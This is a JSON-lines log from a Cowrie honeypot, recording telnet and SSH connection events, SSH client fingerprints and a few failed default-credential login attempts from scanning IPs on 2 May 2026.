{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45816,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a21a37b678","protocol":"telnet","message":"New connection: 174.142.104.49:45816 (159.203.135.109:23) [session: 68a21a37b678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:33.469284Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53658,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bb27c0a4cf0","protocol":"telnet","message":"New connection: 174.142.104.49:53658 (159.203.135.109:23) [session: 0bb27c0a4cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:34.479626Z"}
{"eventid":"cowrie.session.closed","duration":32.697498083114624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:34.970382Z","src_ip":"161.132.53.68","session":"54e283cebea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.81870436668396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:36.003859Z","src_ip":"104.245.105.2","session":"5e077e572234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.79954743385315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:37.940534Z","src_ip":"161.132.53.68","session":"8c0ae1eb0f99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58382,"dst_ip":"159.203.135.109","dst_port":23,"session":"8561bf89278d","protocol":"telnet","message":"New connection: 174.142.104.49:58382 (159.203.135.109:23) [session: 8561bf89278d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:38.331497Z"}
{"eventid":"cowrie.session.closed","duration":0.0048906803131103516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:38.336270Z","src_ip":"174.142.104.49","session":"8561bf89278d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55680,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddc0697138ef","protocol":"telnet","message":"New connection: 174.142.104.49:55680 (159.203.135.109:23) [session: ddc0697138ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:38.491663Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59942,"dst_ip":"159.203.135.109","dst_port":23,"session":"947f302b8cdf","protocol":"telnet","message":"New connection: 174.142.104.49:59942 (159.203.135.109:23) [session: 947f302b8cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:38.497032Z"}
{"eventid":"cowrie.session.closed","duration":0.004376888275146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:38.501299Z","src_ip":"174.142.104.49","session":"947f302b8cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32958,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b8f590c46b","protocol":"telnet","message":"New connection: 174.142.104.49:32958 (159.203.135.109:23) [session: b1b8f590c46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:39.289665Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44152,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fbbdb9e190a","protocol":"telnet","message":"New connection: 161.132.53.68:44152 (159.203.135.109:23) [session: 2fbbdb9e190a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:42.033518Z"}
{"eventid":"cowrie.session.closed","duration":39.72386860847473,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:42.196529Z","src_ip":"174.142.104.49","session":"fdddefd59aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11230230331421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:42.389664Z","src_ip":"174.142.104.49","session":"c23fa6b5daba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601293325424194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:42.938980Z","src_ip":"174.142.104.49","session":"ac968a3f839b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139047861099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:43.164366Z","src_ip":"161.132.53.68","session":"fefa60630303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51319408416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:44.483279Z","src_ip":"174.142.104.49","session":"7ec99cb8ef9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.54084515571594,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:44.606361Z","src_ip":"174.142.104.49","session":"a67df3d4dd47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":44150,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ebfdc315501","protocol":"telnet","message":"New connection: 161.132.53.68:44150 (159.203.135.109:23) [session: 2ebfdc315501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:44.674352Z"}
{"eventid":"cowrie.session.closed","duration":32.76914072036743,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:44.834729Z","src_ip":"161.132.53.68","session":"5a513a78b710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46130,"dst_ip":"159.203.135.109","dst_port":23,"session":"10862c8dba0d","protocol":"telnet","message":"New connection: 174.142.104.49:46130 (159.203.135.109:23) [session: 10862c8dba0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:46.052685Z"}
{"eventid":"cowrie.session.closed","duration":31.1391704082489,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:46.134072Z","src_ip":"174.142.104.49","session":"3d719d1d2192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46352,"dst_ip":"159.203.135.109","dst_port":23,"session":"04fbb217bdb1","protocol":"telnet","message":"New connection: 174.142.104.49:46352 (159.203.135.109:23) [session: 04fbb217bdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:46.139688Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48360,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1853475d6cc","protocol":"telnet","message":"New connection: 174.142.104.49:48360 (159.203.135.109:23) [session: d1853475d6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:46.163041Z"}
{"eventid":"cowrie.session.closed","duration":30.65111756324768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:46.728499Z","src_ip":"174.142.104.49","session":"520b5b6eacd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46667456626892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:47.412533Z","src_ip":"174.142.104.49","session":"90cdcfda9cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43916,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3563674d475","protocol":"telnet","message":"New connection: 174.142.104.49:43916 (159.203.135.109:23) [session: a3563674d475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:47.849511Z"}
{"eventid":"cowrie.session.closed","duration":31.055948734283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:48.056495Z","src_ip":"174.142.104.49","session":"2a91b79580d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988839387893677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:49.306845Z","src_ip":"174.142.104.49","session":"ab83c84a6e35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67198133468628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:50.105825Z","src_ip":"174.142.104.49","session":"d23dfdd23e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54830,"dst_ip":"159.203.135.109","dst_port":23,"session":"bceb238ae6c3","protocol":"telnet","message":"New connection: 174.142.104.49:54830 (159.203.135.109:23) [session: bceb238ae6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:50.569479Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57324,"dst_ip":"159.203.135.109","dst_port":23,"session":"920d26ef5001","protocol":"telnet","message":"New connection: 174.142.104.49:57324 (159.203.135.109:23) [session: 920d26ef5001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:50.796583Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58358,"dst_ip":"159.203.135.109","dst_port":23,"session":"3434cb6f4fe9","protocol":"telnet","message":"New connection: 174.142.104.49:58358 (159.203.135.109:23) [session: 3434cb6f4fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:51.304116Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39440,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac16eb13a635","protocol":"telnet","message":"New connection: 161.132.53.68:39440 (159.203.135.109:23) [session: ac16eb13a635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:51.838083Z"}
{"eventid":"cowrie.session.closed","duration":30.87611198425293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:51.926652Z","src_ip":"174.142.104.49","session":"81420013e4fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699125051498413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:52.176217Z","src_ip":"161.132.53.68","session":"00417a3c9591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58736,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb5425033a60","protocol":"telnet","message":"New connection: 174.142.104.49:58736 (159.203.135.109:23) [session: fb5425033a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:52.515447Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55272,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8650785142","protocol":"telnet","message":"New connection: 174.142.104.49:55272 (159.203.135.109:23) [session: 2e8650785142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:52.757822Z"}
{"eventid":"cowrie.session.closed","duration":30.98524022102356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:52.989774Z","src_ip":"174.142.104.49","session":"97bc45168e14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34208,"dst_ip":"159.203.135.109","dst_port":23,"session":"37134ce970b2","protocol":"telnet","message":"New connection: 174.142.104.49:34208 (159.203.135.109:23) [session: 37134ce970b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:53.298183Z"}
{"eventid":"cowrie.session.closed","duration":30.899011611938477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:53.356654Z","src_ip":"161.132.53.68","session":"b51941b9821a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":38228,"dst_ip":"10.17.0.5","dst_port":22,"session":"5108c06382ba","protocol":"ssh","message":"New connection: 220.119.37.141:38228 (10.17.0.5:22) [session: 5108c06382ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:53.361483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:53.366879Z","src_ip":"220.119.37.141","session":"5108c06382ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:53.564318Z","src_ip":"220.119.37.141","session":"5108c06382ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":39446,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fc8cf0141cd","protocol":"telnet","message":"New connection: 161.132.53.68:39446 (159.203.135.109:23) [session: 8fc8cf0141cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:53.770368Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"123","message":"login attempt [es/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:54.384494Z","src_ip":"220.119.37.141","session":"5108c06382ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.78533220291138,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:55.323787Z","src_ip":"161.132.53.68","session":"a1ea7d9fb808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:55.584615Z","src_ip":"220.119.37.141","session":"5108c06382ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.54951238632202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:56.002483Z","src_ip":"174.142.104.49","session":"ceeecc3d6cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":39898,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c67e46bce15","protocol":"telnet","message":"New connection: 174.142.104.49:39898 (159.203.135.109:23) [session: 6c67e46bce15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:56.392735Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40894,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e7d798ed246","protocol":"telnet","message":"New connection: 174.142.104.49:40894 (159.203.135.109:23) [session: 6e7d798ed246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:56.924631Z"}
{"eventid":"cowrie.session.closed","duration":31.376239776611328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:56.945527Z","src_ip":"104.245.105.2","session":"211963f6afd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36198,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd87145cc0e5","protocol":"telnet","message":"New connection: 174.142.104.49:36198 (159.203.135.109:23) [session: bd87145cc0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:57.353887Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41964,"dst_ip":"159.203.135.109","dst_port":23,"session":"df5dfb6fa071","protocol":"telnet","message":"New connection: 174.142.104.49:41964 (159.203.135.109:23) [session: df5dfb6fa071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:57.562182Z"}
{"eventid":"cowrie.session.closed","duration":36.20272731781006,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:59.227829Z","src_ip":"161.132.53.68","session":"5bf10b5d0291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45384,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea63d69cb1ed","protocol":"telnet","message":"New connection: 174.142.104.49:45384 (159.203.135.109:23) [session: ea63d69cb1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:41:59.363704Z"}
{"eventid":"cowrie.session.closed","duration":30.921801805496216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:00.467149Z","src_ip":"174.142.104.49","session":"d54068793967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.120.221.14","src_port":54997,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf42beaee99b","protocol":"telnet","message":"New connection: 103.120.221.14:54997 (10.17.0.5:23) [session: bf42beaee99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:00.895868Z"}
{"eventid":"cowrie.session.closed","duration":30.46903371810913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:02.282737Z","src_ip":"174.142.104.49","session":"2e172737f697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481192111968994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:02.330554Z","src_ip":"174.142.104.49","session":"4fb2babe273b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.678104639053345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:03.349139Z","src_ip":"161.132.53.68","session":"92f711d599b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58284,"dst_ip":"159.203.135.109","dst_port":23,"session":"398611d5e2db","protocol":"telnet","message":"New connection: 174.142.104.49:58284 (159.203.135.109:23) [session: 398611d5e2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:03.382934Z"}
{"eventid":"cowrie.session.closed","duration":0.006631374359130859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:03.389421Z","src_ip":"174.142.104.49","session":"398611d5e2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":59568,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb8825e91d7","protocol":"ssh","message":"New connection: 88.205.172.170:59568 (10.17.0.5:22) [session: 2bb8825e91d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:03.554237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:03.559038Z","src_ip":"88.205.172.170","session":"2bb8825e91d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:03.720241Z","src_ip":"88.205.172.170","session":"2bb8825e91d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.622981786727905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:04.097358Z","src_ip":"174.142.104.49","session":"bb68a720f525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01329755783081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:04.133955Z","src_ip":"174.142.104.49","session":"6172fd841c58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50386,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64f19be3da8","protocol":"telnet","message":"New connection: 174.142.104.49:50386 (159.203.135.109:23) [session: a64f19be3da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:04.361748Z"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"admin","message":"login attempt [ec2-user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:04.393356Z","src_ip":"88.205.172.170","session":"2bb8825e91d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54282,"dst_ip":"159.203.135.109","dst_port":23,"session":"958e6952847c","protocol":"telnet","message":"New connection: 174.142.104.49:54282 (159.203.135.109:23) [session: 958e6952847c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:04.485636Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52444,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb2fad4e9496","protocol":"telnet","message":"New connection: 174.142.104.49:52444 (159.203.135.109:23) [session: cb2fad4e9496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:04.496207Z"}
{"eventid":"cowrie.session.closed","duration":31.790878534317017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:42:05.167969Z","src_ip":"174.142.104.49","session":"b8509501ace9","protocol":"telnet"}
